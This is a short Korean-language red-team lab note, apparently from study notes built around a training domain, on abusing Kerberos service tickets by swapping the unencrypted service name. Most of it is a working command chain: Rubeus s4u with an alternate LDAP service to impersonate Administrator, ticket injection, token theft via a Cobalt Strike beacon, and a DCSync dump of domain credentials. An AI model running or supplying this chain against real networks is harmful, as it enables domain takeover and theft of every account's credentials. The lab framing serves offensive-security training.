Alternate Service Name

AS Requested Service Tickets에서 언급한 것과 같이 서비스 티켓을 사용할 때는 놀랍게도 SPN을 검증하는 로직이 존재하지 않습니다. 또한 검증 로직이 있다고 하더라도 SPN 필드는 암호화 되지 않기 때문에 언제든 변경이 가능합니다. 또한 실제로 대부분의 서비스는 컴퓨터 계정의 System 권한으로 실행되기 때문에 서비스 티켓이 서비스 관리자의 해시 패스워드로 암호화된다는 점에서, 해당 머신에서 실행되는 모든 서비스들은 같은 비밀키를 사용하게 됩니다.

해당 실습은 이미 사용자의 Constrained Delegation 페이지에서 탈취한 서비스 티켓과 머신 계정의 제어권을 갖고 있다는 전제 하에 이뤄지기 때문에 이전 과정은 생략합니다.

# 위임받은 CIFS 서비스 대신 LDAP 서비스에 대한 티켓으로 변경 요청
execute-assembly C:\Tools\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:TestService /altservice:ldap /user:wiki /ticket:doI[...skip...]U8= /nowrap

# LDAP 서비스 티켓을 통한 세션 생성
execute-assembly C:\Tools\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:wiki /password:FakePass /ticket:doI[...]mlv

# 세션 토큰 탈취
beacon> steal_token <PID>

# 도메인 관리자 권한의 LDAP 서비스 이용으로 DCSync 공격
beacon> dcsync dev.cyberbotic.io